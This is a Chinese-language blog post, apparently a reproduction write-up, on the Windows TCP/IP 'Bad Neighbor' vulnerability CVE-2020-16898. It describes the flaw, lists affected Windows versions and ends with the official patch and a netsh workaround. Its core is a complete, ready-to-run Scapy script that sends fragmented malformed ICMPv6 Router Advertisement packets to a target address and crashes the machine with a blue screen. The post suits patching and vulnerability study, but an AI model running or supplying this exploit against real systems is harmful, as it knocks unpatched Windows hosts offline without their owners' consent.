CVE-2020-16898 TCP/IP远程代码执行漏洞

简述

CVE-2020-16898,又称“Bad Neighbor”

Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

漏洞描述

当 Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。因此,根据 RFC 8106,长度字段应该始终是一个至少为3的奇数值

受影响版本

Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for x64-based Systems
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

复现

1.利用条件

  1. 基本条件
    • attacker需要获取target的IPv6和MAC地址
  2. 触发过程
    • attacker需要搭配其他内存泄漏或信息泄漏漏洞来实现RCE
    • attacker需要想办法绕过tcpip.sys的GS保护机制

2. 利用过程

attacker直接发送特制的ICMPv6路由广播数据包给target:

[ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]

3. 攻击向量

建立连接后,利用IPv6直接发送攻击数据包即可。

 

Exp-1

1.执行ipconfig,查看IPv6地址:

2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

3.攻击者和目标主机通信

执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

4.攻击机中python为3.7+ ,并且安装了scapy

5.漏洞利用

这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

CVE-2020-16898-exp1.py:

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fe80::e8a5:e1c9:e23:cf09%9"	#根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::f9a3:a0fc:592a:9344%11"				#攻击者的本地ipv6地址
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

执行脚本

python3 CVE-2020-16898-exp1.py

执行这个脚本,可以看到虚拟机被打蓝屏了。如下:

修复方法

(1)下载微软官方提供的补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

(2)内网等不便安装更新的用户,可以使用微软官方给出的临时变通措施:

禁用 ICMPv6 RDNSS:

以管理员身份打开PowerShell,输入以下命令,即可"显示接口参数"

netsh int ipv6 show interface

可以根据此列表,查询到需要禁用的接口,执行禁用命令如下

netsh int ipv6 set int 11 rabaseddnsconfig=disable

返回“确定”后禁用成功,开启方法同上。上述操作均无需重启电脑。

 

 

参考资料

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor/

https://www.freebuf.com/vuls/254503.html

https://www.cnblogs.com/forforever/p/13846077.html

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值